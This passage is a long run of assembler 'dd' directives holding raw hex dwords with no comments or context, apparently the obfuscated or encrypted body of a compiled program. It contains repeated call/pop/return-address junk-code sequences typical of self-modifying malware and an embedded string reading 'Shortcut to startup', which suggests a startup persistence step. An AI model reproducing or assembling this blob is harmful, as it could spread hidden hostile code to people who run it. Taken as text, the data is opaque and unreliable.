0EF0D78D3h, 0DC014AADh dd 4872C381h, 8E9752Eh, 81000000h, 0B0F705C5h, 8359BF37h dd 850F01EAh, 0FFFFFF8Bh, 0E8C18B66h, 6, 9C3287D4h, 8589B8C0h dd 60326E9h, 81FA8B59h, 5B65C1h, 45858B00h, 33060303h dd 0C5BD8BF6h, 8B060314h, 81F8311Ch, 0F0A77AC3h, 35BD2964h dd 8106031Bh, 742047C3h, 0C1958B5Eh, 81060326h, 0A84DE3C3h dd 6850F66h, 1000000h, 3083DBDh, 311C8906h, 1375852Bh dd 95890603h, 6030CD1h, 0E801EE83h, 13h, 1F250990h, 0AFB65525h dd 38BEB907h, 0E73AEDF7h, 81662D25h, 6E7962EAh, 4E4E5F4Fh dd 81D68B4Eh, 0FFA560FEh, 10850FFFh, 0B2000000h, 2FE974h dd 13DD0000h, 53E79898h, 60DA6543h, 5E9h, 5F031400h, 0DE810B2Bh dd 10A0F6A5h, 0FF69E961h, 23D2FFFFh, 236B1089h, 643C63B0h dd 57F1A8ACh, 9409A7Ah, 929958Eh, 560ABED9h, 75A3001Ah dd 4DABABFDh, 93FD3FDh, 5E6DEBD9h, 97C01Ah, 0A06D75Ch dd 80B7F6DFh, 822CBDDAh, 0D9A13919h, 12A732F2h, 0B4A9D1DAh dd 0F29EF3Ch, 8A2380D9h, 0A09C364h, 105E7DDFh, 0C9A1ED89h dd 92E5C61h, 94AF26D9h, 842CD4C3h, 0C9F5444h, 52F90ADFh dd 30977981h, 92C7EFAh, 5A7AA9ADh, 92E5C61h, 94AF26D9h dd 842CD4C3h, 0C984544h, 52F90ADFh, 14A7D981h, 6F2C7ECFh dd 9DBE7958h, 9409F52h, 929478Bh, 530AD7D9h, 5DA3B11Ah dd 4DABF1FDh, 937FEFDh, 5B687DD9h, 9094961Ah, 725CC1FAh dd 0E0EFECAAh, 92AD7D3h, 22CC1185h, 0FC5A6359h, 854C0B09h dd 92D9401h, 2BD5BED9h, 1C525473h, 62E07BBh, 929695Dh dd 64BF60D9h, 8A2CF6D0h, 0A2EB764h, 8D257DDFh, 92ABEF0h dd 0E17C5FB3h, 92AAFDAh, 57E989F9h, 0D0E9F50h, 0D0EB158h dd 92AFACFh, 16E92B9Fh, 81C330B9h, 202A5FDAh, 0A33524Ch dd 2E2A69DFh, 84A1E9D9h, 0F29D4F4h, 78567F54h, 9407BDFh dd 929568Bh, 530A5FD9h, 5DA3F51Ah, 4DABD3FDh, 93FEFFDh dd 5B68F5D9h, 381D401Ah, 0A33C44Ch, 63FA41DFh, 0AC209D9h dd 292AAFD9h, 80741487h, 882ECFADh, 1C2ED19Dh, 4F2AFAD9h dd 286BE8Fh, 8CD435BFh, 0D9AE5019h, 632AAFD9h, 0AC285D9h dd 292AEBD9h, 80703683h, 882EDE8Dh, 122E599Dh, 4B2ABED9h dd 3409C8Bh, 0B6E9C919h, 941BD22Ch, 0F29F254h, 6F7DCD58h dd 8C250158h, 92A7DE1h, 8C46C063h, 71AB39AFh, 628ADDDh dd 929C25Dh, 5A2A81D9h, 92AF631h, 0CA71DAD9h, 2D76F482h dd 2D6E3FDDh, 92A45DDh, 0CA79ECD9h, 6B0B7BD2h, 0B283478Ah dd 6CFE9A20h, 95127BBFh, 51AF72B9h, 0E02ABED9h, 92A5FDFh dd 50A6380Dh, 71AA0081h, 8C2503DBh, 92AF59Ah, 6F790959h dd 92C0558h, 3DAFB172h, 632A5FD9h, 0AC2FFD9h, 292AD7D9h dd 80722881h, 882ED19Dh, 122EDE9Dh, 492A7DD9h, 12D47D89h dd 2C6A5EDFh, 9EC318C9h, 822AD7DBh, 0A31C64Ch, 5497F6DFh dd 0B72CF9F5h, 4F2B7CD9h, 0E17DBEB3h, 92A5FDAh, 56E9F0F9h dd 0D0EAB50h, 0D0EAF58h, 92AF5CCh, 0AAE9AD9Eh, 75AFF04Dh dd 632CB8A8h, 0AC208D9h, 292AAFD9h, 80751486h, 882ECFA5h dd 1C2ED19Dh, 4E2AFAD9h, 25C6BE8Eh, 30BF358Eh, 562C5CCFh dd 0F6D018D6h, 5C2ABD09h, 92AE831h, 0CA77D5D9h, 2D467384h dd 2D6EFCDDh, 92AA3DDh, 0CA7F1AD9h, 104DBAAEh, 9E9A4081h dd 0C9AF4F01h, 8FF71D6h, 1AC3FAD9h, 6C2A7DD9h, 0AC23AE2Eh dd 6FA65198h, 8115914Eh, 606DF766h, 0B04CBD46h, 31ABE2F1h dd 0B28C7BFh, 93EF8D6h, 88DFBED9h, 344C59A1h, 8D25D586h dd 92AD60Fh, 1A3F66F0h, 884CF3DAh, 64A66E1h, 92A295Ch dd 592AD4D9h, 92A5C31h, 0CA728FD9h, 2D6E5E81h, 2D6E6ADDh dd 92AE3DDh, 0CA7ABAD9h, 89DAFEC1h, 6C2BCA1h, 92A735Ch dd 18A724D9h, 6F2CD4CFh, 92C9358h, 13AFFA19h, 592AFAD9h dd 0D8FBC6BFh, 8AA5780h, 0FC25FD9h, 0A82AAFD9h, 0E1AF22E6h dd 0D0A18DD1h, 82A4B80h, 94084D8h, 929958Eh, 560ABED9h dd 75A3001Ah, 4DABABFDh, 93FD3FDh, 5E6DEBD9h, 844BA81Ah dd 0F5B865Ch, 592A17DFh, 92ABD31h, 0CA727FD9h, 2D6E2681h dd 2D6E56DDh, 92AF0DDh, 0CA7AB5D9h, 0CB59B61Bh, 4FB01401h dd 255005B9h, 0FBAB5975h, 23B7C536h, 0B8FA28B8h, 6EA6EA4h dd 92A235Dh, 5C2A90D9h, 92A7E31h, 0CA779ED9h, 2D46D684h dd 2D6E2EDDh, 92ACADDh, 0CA7FAED9h, 5F13B29h, 0CAABC3CAh dd 31AA4359h, 7CAFB131h, 6F2A5FD9h, 69887858h, 7A2FAF59h dd 94C6ED6h, 940F5D9h, 929128Fh, 570A7DD9h, 7DA3E01Ah dd 4DAB5BFDh, 93EABFDh, 5F6CD7D9h, 793601Ah, 0B601331Ch dd 4F018D9Ch, 71AAB752h, 8D25EDDEh, 92A5F47h, 0E17FAFB3h dd 92AD7DAh, 54E9B6F9h, 0D0E9950h, 0D0EBE58h, 92A7DCCh dd 73E9EB9Ch, 0D4BF7CFFh, 0E02CACFDh, 92AD7D5h, 0C98E4C4Bh dd 74498AA9h, 4138BD5Ah, 8612FCBFh, 21AFB1DCh, 6F2A5FD9h dd 71AA6152h, 8C25BFDFh, 92AEBC2h, 55E574BFh, 71AB9C6Eh dd 60F82D2h, 92AB45Ch, 0EBAB39D9h, 3EC3F6BCh, 222AD7D9h dd 0BE258B19h, 0F0AF7C22h, 682CF9E9h, 0E0E2CAD6h, 92ABEF3h dd 0E17C5FB3h, 92AAFDAh, 57E989F9h, 0D0E9F50h, 0D0EB158h dd 92AFAC3h, 66E92B9Fh, 0D49C1D62h, 8923E84h, 62AAFD9h dd 0E07A2966h, 92AEBCDh, 7606F76Bh, 56420116h, 0F1E59B3Fh dd 72CC3462h, 33F0EBDAh, 630EAB50h, 0AC286D9h, 292AEBD9h dd 80733680h, 882EDE95h, 1E2E599Dh, 482ABED9h, 0B2DE9C88h dd 0B4A72A6Fh, 0F22EDF5h, 36736654h, 2A92F3D1h, 0A5D9C8Ch dd 0A34405Ch, 0C8E595DFh, 82A4B30h, 94084D8h, 929958Eh dd 560ABED9h, 75A3001Ah, 4DABABFDh, 0E983D3FDh, 58A4F305h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C0C35141h dd 8D09522Ah, 603192Dh, 840FC00Bh, 5Ah, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0BEC35747h, 86B0C0E4h dd 0D7B2A24Eh, 0D5958BD3h, 8D06032Ch, 34D69B5h, 0BE806h dd 58160000h, 0AC76E9AAh, 71E17062h, 0C88B667Ch, 3B859h dd 85310000h, 6032A09h, 8B66E6FFh, 5CEABFF9h, 8A4051FCh dd 0C58D29CCh, 8B060318h, 83E3B6C0h, 304E5BDh, 9750006h dd 2339BD83h, 74000603h, 8B535019h, 403B8C0h, 85890000h dd 6030739h, 0B6269D8Dh, 0D3FF0605h, 0BD83585Bh, 6032339h dd 50177400h, 403B853h, 85890000h, 6030739h, 0B2C79D8Dh dd 0D3FF0605h, 8960585Bh, 32F45B5h, 0F9BF0F06h, 2DB50161h dd 8B060330h, 558D8BC0h, 61060329h, 41258D8Dh, 8E0F0608h dd 0 dd 20A58D89h, 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0E1931EC3h, 692D6632h, 1A6585C7h dd 6D680603h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 66B2C8C3h, 75D1DB81h, 1AF72BBBh dd 7185C701h, 60300h, 66000000h, 0FFF1B1BAh, 32021B5h dd 0C6B86606h, 25CF8179h, 0FF2C28F8h, 3171D95h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 67D93380h, 0AD9D89ADh, 6A06030Ch, 0A595FF00h, 8B060323h dd 3509EBC0h, 499BB94Ah, 30ED25A7h, 0CE8h, 68E2F700h, 9F644DFCh dd 0CA51F3BBh, 8870F4Bh, 0F000000h, 28Eh, 58FA8A00h, 758D89h dd 0C0810603h, 69C6h, 68F18Bh, 23000000h, 304EDB5h, 148B5906h dd 7E908h, 0C79E0000h, 320C4C75h, 3EA8163h, 0F8616A66h dd 8DEFC281h, 9D31408Ch, 603312Dh, 0E543C281h, 0B5893F73h dd 6030E41h, 28E0F52h, 52000000h, 8048F5Eh, 0EB99D8Bh dd 0FE90603h, 0FF000000h, 63A4687Ah, 4B84D490h, 9797C5ABh dd 0E9839679h, 0BCEBBE04h, 0F9811013h, 0FFFF96D8h, 0FF98850Fh dd 8166FFFFh, 0DEA778EEh, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh dd 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 339B3D92h dd 0FFB44E60h, 0F867A5E4h, 0A09B0242h, 2FC0A3BEh, 79672035h dd 0DB85A3BAh, 0D71B2030h, 339B088Eh, 831D2933h, 0C0982633h dd 0AED9CCB6h, 0D6157635h, 0AF9067EFh, 0C90DD963h, 839E253Ch dd 35982664h, 1F152359h, 4B9067DFh, 7A1DAB63h, 39E2E72h dd 8A1DB3CCh, 14932030h, 6AA1A23Ch, 0B0152633h, 9C9067DFh dd 4DAACE63h, 0F6D82633h, 126AA3BEh, 24C8203Bh, 0DCD9CAB6h dd 0FF677635h, 339B03D2h, 1794E2B0h, 45D9CAB6h, 23157635h dd 559067EFh, 0B40DD963h, 3D9E253Ch, 6A982651h, 6474AD66h dd 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h dd 0E868AD03h, 5AAD63h, 0A9982C88h, 0D49BCF33h, 896F2633h dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9C9067E9h dd 0E97ABBEh, 9320203Bh, 78000000h, 271E7FCh, 0C8D00731h dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 608430Fh, 432E8D8Dh dd 0CF2B0608h, 8B05E983h, 0EF8D8DC8h, 51060843h, 24C58BBBh dd 8D895A7Ch, 60320A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 80C35646h, 22DD8D89h, 85C70603h, 6031A65h dd 63DCh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 5C35646h, 0F88B66EFh, 0C7C18B66h, 3007185h, 6 dd 0B5895200h, 6032129h, 45B5FF5Eh, 8B06031Bh, 31AF5B5h dd 6890F06h, 33000000h, 32A49BDh, 1D95FF06h, 6A060317h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0F075C350h, 223D858Bh, 8B660603h, 0FF006AD0h dd 323A595h, 0EBC08B06h, 0FF3D966Ah, 0DFDCBA7h, 0B5802022h dd 0B0140F78h, 86124D8Ah, 0DED39598h, 726135DDh, 1B6FA28Dh dd 0EB83C1A1h, 77B123BAh, 0CCEFA66Fh, 3C3737B8h, 935CAC78h dd 8BFBD09Fh, 0CA68A098h, 44ED00Ch, 84894FFBh, 0C64472EEh dd 0EE01EC72h, 91FD8765h, 8F1B8D35h, 6EB0F8CEh, 0E94B1230h dd 55CBE75h, 2BD86438h, 8C52AB02h, 0E917F20Ah, 0B0h, 0DA8C6660h dd 0F04C2F6h, 0C85h, 0E1853B00h, 0F060302h, 3684h, 21853B00h dd 0F060331h, 2A84h, 9D853B00h, 0F06031Fh, 1E84h, 0AD853B00h dd 0F06031Fh, 1284h, 2DBD8300h, 1060325h, 5840Fh, 5FE90000h dd 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h, 0FC98578h dd 4984h, 0F8C28100h, 8B000000h, 0C8030C72h, 8B1C598Bh dd 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h, 17820Fh dd 0CF3B0000h, 0F830Fh, 0C3830000h, 850F4A04h, 0FFFFFFDCh dd 0DE9h, 699D8D00h, 0B806034Dh, 5, 0C361E3FFh, 6E8D00Bh dd 94000000h, 1EBEA73Ch, 14E995h, 8E5B0000h, 0FA819EF4h dd 0F933A049h, 3520DD2Bh, 0D6A6F456h, 66581B36h, 1C78CE81h dd 5C45C081h, 0FE80000h, 5B000000h, 0A7B1F39Bh, 6FDAB35Dh dd 1869D6C3h, 14E9E7ECh, 0DB000000h, 9D8D4F3Fh, 779E32C9h dd 6BC8DAB2h, 33948E3Bh, 5EE8942Dh, 16D368h, 2D8D3100h dd 5A06032Ch, 30FFAEB7h, 81665FFCh, 81799EF1h, 5FC092EFh dd 58A0F03h, 66000000h, 31E5DE81h, 248BC781h, 13E97DA0h dd 93000000h, 0A73C94D1h, 39951EBEh, 862D45E3h, 0A978AFE1h dd 0C781FA93h, 6E92AB51h, 57D88B66h, 0C99D8B53h, 5E06030Ch dd 880F008Fh, 2, 0E8836AB5h, 4861B502h, 0D1B58B48h, 8306030Fh dd 850F01EAh, 10h, 0C1EB8166h, 22E9E9h, 52140000h, 72D56E0Fh dd 6810Fh, 0B58B0000h, 6031B11h, 0FFFF75E9h, 0EDD001FFh dd 9D7628EDh, 0DD2346A4h, 47188D8Dh, 6A0608h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0ADC4B5C3h dd 2F4EDD01h, 5E572A9Eh, 89F1B70Fh, 320A58Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0BD9CA592h, 7B749CFh, 1A6585C7h, 68E80603h, 8B0F0000h dd 6, 2541BD01h, 85C70603h, 6030071h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 91C35646h dd 0D9700A7Ah, 0E0972EB8h, 91B5FF31h, 6A060323h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 358CC355h, 0DD598B1Ah, 0BF0FA516h, 0F68166F2h, 95FF3BA4h dd 603171Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 3C35242h, 39A1A39Ch, 80834A17h, 6A57ECh, 23A595FFh dd 0C08B0603h, 0B42B2AEBh, 4A0F0E02h, 0A3D43EBh, 50FB9799h dd 8569ED94h, 1580C094h, 37D2D67Ah, 0EAEA7A71h, 0BBEAB57Ah dd 5CE7FB9Ch, 22E1A35Ch, 0AC19D8Dh, 39B80603h, 89000000h dd 30E9985h, 0E806h, 5580000h, 0Dh, 39E90389h, 0 dd 0Dh dup(77E600h), 0FF77E600h, 48778D8Dh, 6A0608h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0F07563C3h, 0DE81664Ch, 8D89ACD1h, 60320A5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 94C35747h, 283793h dd 7FA7C681h, 85C7096Dh, 6031A65h, 7088h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 5EC35545h, 9566EA4Eh dd 9D09D311h, 6030E49h, 7185C7F5h, 60300h, 0F000000h, 382h dd 0FAB70F00h, 0DC1B5FFh, 0B5890603h, 6032AB9h, 171D95FFh dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0B2D1A6C3h, 0FF006AE2h, 323A595h, 0EBC08B06h dd 7F7D671Eh, 2657CDD6h, 18956751h, 0A309E648h, 52F717BCh dd 3C52BB60h, 0F1CD2045h, 0EB3EDEC2h, 6F68536Ch, 75637472h dd 6F742074h, 61747320h, 70757472h, 14h dup(0) dd 7CB0800h, 105h, 0F42E900h, 0D3680000h, 0E906084Ah, 0FFFBFE2Bh dd 84BAF68h, 0FE21E906h, 7E68FFFBh, 0E906084Dh, 0FFFBFE17h dd 84DBD68h, 0FE0DE906h, 6B68FFFBh, 0E906084Eh, 0FFFBFE03h dd 84F2768h, 0FDF9E906h, 0DA68FFFBh, 0E9060852h, 0FFFBFDEFh dd 855F468h, 0FDE5E906h, 0E168FFFBh, 0E9060856h, 0FFFBFDDBh dd 47316BBEh, 8D773D0Ah, 0D7C1DF50h, 1802929Ah, 5D474FDBh dd 0A979A376h, 70BEFBE5h, 2B05422Ch, 0E944816Bh, 5544C5AFh dd 8C9DB614h, 0DA0D24A1h, 7A3175C3h, 0C4D65729h, 0DABC7106h dd 124500DDh, 4DF952B7h, 1DDBBD70h, 65E4944Bh, 1D54511Fh dd 0B6743806h, 4B602DE4h, 51AD97DEh, 152CE19Fh, 0EFC17F07h dd 0D55B6B38h, 478A191h, 251DEF18h, 42520A14h, 9F000000h dd 401CF15h, 980A3CC3h, 68C2D9ADh, 2FE1752Ch, 4485BC71h dd 0A191C386h, 1EEBA254h, 0A191C3A8h, 0C482101Bh, 0DC9AE02Fh dd 3FF4E05Ah, 76C4DB72h, 0E79E702Eh, 60325B47h, 950A143Ah dd 0F6h, 0C4D657E2h, 2D745106h, 2BF9F9Ah, 0D06003BAh, 0B4790ECCh dd 42CEE5E2h, 0A6DA973Ah, 0DDF8E24Ch, 200DA226h, 70258C76h dd 0F1A794DEh, 33705A3Ch, 0BE2A0FAh, 0BAFB34C5h, 94D55179h dd 0BDD789A7h, 16132DFFh, 0E10C02DFh, 1C56217Eh, 7BECDE1Fh dd 3CEEA794h, 96ABB885h, 0EC61AD97h, 9832735Eh, 42A19161h dd 0E6B87690h, 6AB8CFCCh, 0FCDD15Fh, 0BC6C233Dh, 2C29373Dh dd 4C50DEF5h, 3805BC8Eh, 0A797174Dh, 1D545103h, 0B8762606h dd 0BC8C2FE6h, 49E4FBF8h, 0E1BB724Fh, 0ED3D7A2Ah, 595646E6h dd 8BABB218h, 5C76289Bh, 2BBAD3D7h, 0D26DE1E5h, 0CC7h dd 0AB95072Ah, 0F1DBA16Eh, 331D7BB4h, 7C6636F6h, 0C1ABF33Fh dd 4DDD3FDAh, 14225F49h, 0C769A690h, 7DB0EDD7h, 0C1B0311Bh dd 8C9D4A80h, 0B87990A1h, 0D9C3CB57h, 8CD39F7Ch, 0FEFD0345h dd 0F89A447h, 0CF153A25h, 0B6CD0401h, 9F6C2369h, 0AD980A60h dd 1E3532E4h, 0FDCF8D0Fh, 0C40BBF00h, 1DCFA191h, 0A323E266h dd 30A191C3h, 0D5A7D0BCh, 0A0A1439h, 0BFh, 0C4D65757h dd 0DDA17106h, 0EC35601Fh, 0F50CA794h, 5A85F27h, 47846E28h dd 0A0B7B4E6h, 0B5E14B8Eh, 4D0B25F7h, 8B40C47Bh, 5EEEECAEh dd 0F03E4B06h, 0F6DB92ACh, 0A4E5E2E8h, 0AD97A2BFh, 32B19B4Dh dd 0E0211E2Ch, 0A7972094h, 0D4EBE89Ah, 0F9564044h, 0BB4981C2h dd 0DF919B8Bh, 0F1B58528h, 2BAD9A6Ch, 5DF86CE5h, 0BEBh dd 8F792306h, 0D5BFC552h, 1F099798h, 604A4AE2h, 0A58F1723h dd 71C1DBBEh, 3806432Dh, 0E34D8A74h, 0A18CC9B3h, 9D8C0DF7h dd 8C9C6E5Ch, 94556CA1h, 2C00CB57h, 0E67E4C8Dh, 0AA5CA794h dd 7F77D290h, 0CA41F134h, 1E08223Ch, 4D4A4CE1h, 0C8A5F736h dd 0A4763478h, 57523DEDh, 7106C4D6h, 71F0DABCh, 21909A63h dd 94E6EAE0h, 243EF0A7h, 7D7A9466h, 0B26B6946h, 488410DDh dd 26F8B6E6h, 0FCCE0F0Ch, 0DEA7944Eh, 0DBA8752Ch, 71AD977Dh dd 844201BFh, 4FA1911Fh, 0F4C6EFDBh, 290A14DDh, 13h, 0F203776h dd 0AA87EE91h, 39DB3EF9h, 88FD982h, 37E00000h, 0D3910F20h dd 1F654A01h, 78135451h, 0E4AD9809h, 4EDF7432h, 825624Ch dd 3E1BD08Eh, 2263D44Bh, 0A190FDA8h, 0EFDD8032h, 6633EA3Ah dd 8D5BB8Ah, 36F4A28Dh, 2D0A8CA1h, 20D9971Fh, 0AF732814h dd 6EA53D29h, 4D749D2Dh, 0D48B3D3Ah, 0B09AFC31h, 0E3E0BA73h dd 755F6BACh, 407B3A4Dh, 23C76F55h, 4D041E0Eh, 31FD14C9h dd 1ED5A765h, 4DC37651h, 0AEC5623Ah, 8D5F1D7Fh, 0D24A36D6h dd 1A57415Bh, 16CB8913h, 5D25EB39h, 0D15A2122h, 25F2A9C3h dd 3A4DB09Eh, 0AA220EDCh, 51C1983h, 6B66D29h, 743264C9h dd 7AC6579Dh, 0E41B1832h, 0B15E6CADh, 0CA7C3A4Dh, 0DED94613h dd 0F9AB4050h, 6623EC0Fh, 1E555218h, 8224A6E7h, 87A7344Ah dd 0B9875917h, 93ADEB44h, 9D580FDCh, 0ABC3A4Dh, 46DFDAFFh dd 0CDAA0C58h, 7643AAD1h, 1C60AE9Ch, 0BB728C5Eh, 0C5C288D6h dd 3960FF84h, 0DD9B4D56h, 0F5F2F806h, 39886AB4h, 69661850h dd 0D7C1DB52h, 8409939Ah, 8A4AD6A0h, 1C6B067Ah, 0D500000Ah dd 13503A5Ch, 57947E04h, 9FDCC6D4h, 0E8250F8Fh, 836A5458h dd 0F2BA8696h, 397DCB08h, 7C18124Fh, 0BED85592h, 236453D4h dd 0A18C99A7h, 575B1C33h, 713FC4D6h, 2BE92281h, 9DD1CB7h dd 1D140000h, 0C754917Bh, 919AD7C1h, 50DC1903h, 0D1D5A44h dd 0E1B89F89h, 3D276FBBh, 806A3200h, 0C3ADE943h, 0BF5A786h dd 705A9B8Ah, 6AA18C9Ah, 0D6579253h, 0A17106C4h, 3FD0F3DDh dd 0BFC7556Ch, 4CDD2308h, 64F9B7E1h, 9CB6D0D4h, 0F031689Fh dd 0A794E6DAh, 0F8A28B00h, 974E683Ah, 98029DCAh, 0BAC577ADh dd 4F24F695h, 78CF1563h, 62670EEh, 0B62AF396h, 0F70E0B25h dd 89418229h, 51DFD41Bh, 0BCE859Fh, 2571BDD4h, 46E2A16Eh dd 0B86AE5D7h, 0FDD23FAh, 6D4DD112h, 8335DFD7h, 0DCBE6F86h dd 1E78B5F2h, 0E8F34999h, 6C077B3Ah, 92Fh, 432D6FC2h, 89733906h dd 0CBB5E34Ch, 14FE9E8Eh, 59434BD7h, 0A575A772h, 6CBAF7E1h dd 2F013E28h, 0E548856Fh, 5948C9B3h, 8C98B218h, 501128A1h dd 8C102037h, 0A245FCCEh, 0BEDE4E8Bh, 1A31E6A4h, 6C5E9F12h dd 6EA794E7h, 48EBA2BCh, 65CCB6E6h, 0A794E7C5h, 2737C9A6h dd 0F45BF9A9h, 440A583Dh, 0BF5C0647h, 687FAD9Ch, 2CFBD8C4h dd 1FD6A866h, 0A5DCD98Bh, 8C2E6664h, 0D1D565A1h, 0D79A5103h dd 7421C3A0h, 0BC934A93h, 21B93847h, 4B021C6Dh, 291385A8h dd 995741ECh, 428E07E4h, 906565A6h, 0C375A18Ch, 0C957CE20h dd 0DBA36F12h, 0F6A6881Dh, 2AED6F71h, 3AD549EFh, 873h dd 7F1AB7Eh, 4D377DCAh, 97811F10h, 0D8C2D25Ah, 1D078F9Bh dd 0E9396336h, 0B07EBBA5h, 6BC502ECh, 2904412Bh, 1504856Fh dd 8C97F6D4h, 0CCDE4A1h, 6C4D657h, 1C51BC71h, 7ED08E0Ch dd 71F3B1CBh, 3C730BF7h, 9453CFFBh, 0A2590BA7h, 48892EFFh dd 0A7945382h, 0A28CA658h, 11A9E2B4h, 0BA89A004h, 0FCDB36F4h dd 50D96E38h, 1517BAD4h, 0A15A8718h, 52529E55h, 9F000005h dd 401CF15h, 0AF22F0CDh, 8CF29194h, 285A08D5h, 0FEB0AD9Dh dd 5943EA01h, 0DDE5F06Fh, 3B5601Fh, 48BC1AF9h, 0CF61335Ch dd 421F8385h, 469F9C2Dh, 7694B8CCh, 27DC2C06h, 4B0A560Dh dd 57000000h, 502C815h, 94E706C4h, 576EA5A7h, 0BBFC6D4h dd 0CFA794E7h, 20D2661Dh, 3576AD62h, 0A794E695h, 0E4A2EA36h dd 0DB924412h, 0FC48FC0Eh, 0FFEB5FC7h, 787504D6h, 103924h dd 37860000h, 0A956375Ah, 0C77E0E83h, 1CA1Eh, 5A372500h dd 0E04BFE13h, 7F22F4B2h, 0EFA69BABh, 0F9F6C40Ah, 9C8012B8h dd 5816C8ADh, 8BEE2E99h, 937F5BA1h, 745C1EFBh, 9DC3A2CEh dd 0EDF301E6h, 4549D9F0h, 3BFEB587h, 9457D0FAh, 6E580AA7h dd 0D86F3411h, 47944CE1h, 18D6DE6Ah, 5CEC8F46h, 35059A58h dd 5C1A62AEh, 36B2708Ah, 0FC4CC4B0h, 8391CEB8h, 9AA83DFBh dd 52D85412h, 5C20EE66h, 2DFE1572h, 0F81282ACh, 0E4B1683Ah dd 9B833DFCh, 88A231FBh, 0F4B2E449h, 4EE0822h, 763466C7h dd 1FC81533h, 94E6ECDEh, 0CF2719A7h, 85CB8A99h, 25EB05B7h dd 0FF0A92A0h, 0A86E3604h, 30E08B3Dh, 0F7491B44h, 0E7E0411h dd 0CB000004h, 5C3CB57h, 0BED7458Ah, 581684A7h, 432FCF86h dd 4D377FCBh, 7F7C0010h, 1ED5DB68h dd 773F0D92h, 1E0AFAB1h, 0DEBC6F86h, 0F0B48427h, 5943EAE5h dd 0E6EBDC9Bh, 0C29EA794h, 44CF5ED6h, 555EE4ECh, 4C36507Bh dd 84811D0Fh, 1FD6C06Dh, 56EBDC9Bh, 9AC6A794h, 0C5F436AEh dd 94574684h, 0EEA885A7h, 57546E20h, 93AA5B7Ah, 3A58FB9Bh dd 0CE7E35ABh, 9433D767h, 4252DCA7h, 0A98B284h, 411DF39h dd 0FFFF506Eh, 5A37BBFFh, 746A7EF8h, 15B86F59h, 4A817E18h dd 9478C109h, 89A419A7h, 8E3EF50Fh, 0FCBADC51h, 94788A3Dh dd 3723FFA7h, 422C6EBFh, 0B3713505h, 81A3FF4h, 0EFA6E78h dd 852713E5h, 4948D4h, 15950000h, 0C30401CFh, 0AD9D3007h dd 472421D3h, 4B8FB41Dh, 0A8226339h, 32A18C98h, 2BAF6680h dd 8C995F6Ch, 1E0A7EA1h, 195B23F5h, 13580Ah, 2DA50000h dd 0A794F16Dh, 0FE44DEC1h, 51E5FFFFh, 7, 2FF5158h, 57580000h dd 7106C4D6h, 71F0DABCh, 29605D63h, 0C17F0512h, 406B38EFh dd 5CAD97ECh, 992DECAAh, 3AA191E2h, 6542DAC6h, 0E51E9BACh dd 0D529E054h, 0A147C03h, 5538h, 0CF158500h, 8CCD0401h dd 0A794E73Eh, 931B279Ch, 0C8FFC279h, 0D35C7FB1h, 1BEDABC5h dd 0A689764h, 2ADCAD98h, 0E32B502Dh, 2ACDC963h, 0C0011EE9h dd 0A191B40Ah, 4D041ED0h, 0B3BC0AC9h, 0A317A191h, 0A7E81FB7h dd 0A191B423h, 0FA4E05B7h, 0A144A28h, 975Dh, 0D657AA00h dd 745106C4h, 3F5E00ECh, 0E0833A55h, 0F98E4C50h, 88656234h dd 0F4AE6B3Ch, 0FFCB0C88h, 0DBA79449h, 0D4580F29h, 0C2ACEE3Fh dd 944F3A5Bh, 940627A7h, 17252BAAh, 0F919D91Ah, 7C11AD99h dd 8E928F3Bh, 0A6EE3CA1h, 0F0C26D8h, 7A6428F8h, 24A9ED3Dh dd 0EF24D5A8h, 0C0E37EF2h, 31000004h, 77B49EF8h, 0BBF8E2A8h dd 0FB382270h, 3C796333h, 0D7BEA8ECh, 464EDAC2h, 8D111F5Ch dd 0D8C466A3h, 1A7CB1EEh, 7FC0AF30h, 0A18C954Bh, 57B7788Fh dd 9CD9C3CBh, 321D0791h, 78230037h, 6EB2EA5Dh, 6424A6ADh dd 4B6A794h, 1983AA4Dh, 7267C65Bh, 32FDDABAh, 0E1604A64h dd 73210A93h, 0CCC9E3B5h, 63765495h, 0DB55A794h, 5D2BFDBBh dd 0FA31F4ABh, 9A5155E3h, 979252CDh, 5C9D32ADh, 0A191366Eh dd 35CEFC3Dh, 5A0CA191h, 33FDDA8Ch, 0B9D3A563h, 0FD2F46FBh dd 0AB1DEAA1h, 1CA19135h, 33C8860Eh, 8EDD9BFBh, 430DC2AEh dd 0DD23DDC9h, 9ADB120Fh, 0A1913630h, 35903A7Bh, 984AA191h dd 0E91E8FCAh, 46054B90h, 0BFDF4F2Ch, 0B5782F01h, 94FBAB74h dd 3D27D9A7h, 0ADAAB0BEh, 96E7F66Ch, 3E7F14A1h, 9586568Ch 